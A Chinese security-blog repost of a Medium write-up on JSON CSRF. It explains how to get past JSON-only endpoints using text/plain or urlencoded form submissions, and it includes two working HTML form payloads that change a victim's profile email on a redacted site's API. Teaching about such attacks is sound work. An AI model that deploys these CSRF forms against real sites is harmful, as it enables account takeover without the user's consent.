首页 安全文摘 正文

由JSON CSRF到FormData攻击

首先:你们必须知道CSRF攻击,如果不知道,那么这里是一个简短的介绍:CSRF是一种攻击,它迫使最终用户在当前对其进行身份验证的Web应用程序上执行不需要的操作。CSRF攻击专门针对状态变化请求,CSRF攻击可以强制用户执行状态转换请求,如转移资金,更改其电子邮件地址,甚至危及整个Web应用程序。来源:https://www.owasp.org/index.

首先:你们必须知道CSRF攻击,如果不知道,那么这里是一个简短的介绍:

CSRF是一种攻击,它迫使最终用户在当前对其进行身份验证的Web应用程序上执行不需要的操作。CSRF攻击专门针对状态变化请求,CSRF攻击可以强制用户执行状态转换请求,如转移资金,更改其电子邮件地址,甚至危及整个Web应用程序。

来源:https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))

那么在JSON CSRF中有什么独特之处,在JSON CSRF中,发送到服务器数据是JSON格式,而Content-Type是Content-Type:application/json,

现在的问题是我们无法发送Content-Type:application/json,使用常规HTML表单,只能通过XML HTTP请求或简单地通过AJAX请求到服务器,

但由于CORS策略我们不能这样做,除非服务器允许超过自定义的Origin和在响应中为Access-Control-Allow-Credentials:true

所有这一切只有在没有Anti-CSRF保护令牌或其他CSRF保护机制的情况下才有可能发生。

现在,如果我们将Content-Type从application/json更改为text/plain的时候响应中没有错误并且表单提交成功,我们可以通过创建具有属性enctype=”text/plain”的HTML表单来执行CSRF攻击。

现在让我们来看看现实生活中的案例:

以下是发送到服务器以更改用户个人信息的JSON请求

由JSON CSRF到FormData攻击 安全文摘 安全文摘  第1张现在,我们可以尝试如果改变Content-Type中的application/json为text/plain,是不是还可以工作,如果工作并且可以收到相同的结果 application/json,说明没有错误,则会得到下面的JSON信息

<form action=”https://redact.com/api/rest/model/atg/userprofiling/ProfileActor/updateMyData" method=”post” enctype=”text/plain”>
<input type=”text” name=’{“id”:”1025275966",”firstName”:”Foo”,”lastName”:”Bar”,”email”:”hacked@gmail.com”,”gender”:”Hombre”,”mobileNumber”:”+52",”countryCode”:”+52",”passwordCheckBox”:”false”,”favoritesListId”:”gl1025526845",”receivePromoEmail”:”No”,”fullName”:”Foo Bar“,”mySaveLaterGiftListId”:”gl1034897755", “balance”:”’ value=’true”}’>
<input type=”submit” value=”send”>
</form>

我在JSON数据的末尾附加了“balance”:”’ value=’true”}’用来平衡请求中发送的additional =

现在,如果text/plain方法不起作用,那么我们还有另一个选项,只需发送带有Content-Type的表单数据Content-Type: application/x-www-form-urlencoded。这是最常见,最简单的表单提交类型。现在创建一个包含JSON数据中所有字段的HTML表单。

<form action=”https://redact.com/api/rest/model/atg/userprofiling/ProfileActor/updateMyData" method=”post”>
<input hidden=”true” type=”text” name=”firstName” value=”Foo”>
<input hidden=”true” type=”text” name=”lastName” value=”Bar”>
<input hidden=”true” type=”text” name=”email” value=”hacked@gmail.com”>
<input type=”text” hidden=”true” name=”gender” value=”Mujer”>
<input type=”text” name=”mobileNumber” hidden=”true” value=”+521452453698">
<input type=”text” name=”countryCode” hidden=”true” value=”+52">
<input type=”submit” value=”send”>

提交表单以测试它是否正常工作

由JSON CSRF到FormData攻击 安全文摘 安全文摘  第2张原文由https://medium.com/@osamaavvan/json-csrf-to-formdata-attack-eb65272376a2

黑白网翻译

海报

本文转载自互联网,如有侵权,联系删除

转载请注明本文地址:https://heibai.org.cn/1512.html

相关推荐

从偶遇Flarum开始的RCE之旅

从偶遇Flarum开始的RCE之旅

事先声明:本次测试过程完全处于本地或授权环境,仅供学习与参考,不存在未授权测试过程,请读者勿使用该漏洞进行未授权测试,否则作者不承担任何...

WEB安全 2022-08-21 0 10403

2022年蓝队初级护网总结

2022年蓝队初级护网总结

一. 设备误报如何处理? 答:来自外网的误报说明安全设备需要进行策略升级,不需要处置。如果是来自内网的误报可以和负责人协商一下...

安全文摘 2022-08-21 0 10383

发布评论

ainiaobaibaibaibaobaobeishangbishibizuichiguachijingchongjingdahaqiandaliandangaodw_dogedw_erhadw_miaodw_tuzidw_xiongmaodw_zhutouganbeigeiliguiguolaiguzhanghahahahashoushihaixiuhanheixianhenghorse2huaixiaohuatonghuaxinhufenjiayoujiyankeaikeliankouzhaokukuloukunkuxiaolandelinileimuliwulxhainiolxhlikelxhqiuguanzhulxhtouxiaolxhwahahalxhzanningwennonuokpinganqianqiaoqinqinquantouruoshayanshengbingshiwangshuaishuijiaosikaostar0star2star3taikaixintanshoutianpingtouxiaotuwabiweifengweiquweiwuweixiaowenhaowoshouwuxiangjixianhuaxiaoerbuyuxiaokuxiaoxinxinxinxinsuixixixuyeyinxianyinyueyouhenghengyuebingyueliangyunzanzhajizhongguozanzhoumazhuakuangzuohenghengzuoyi
感谢您的支持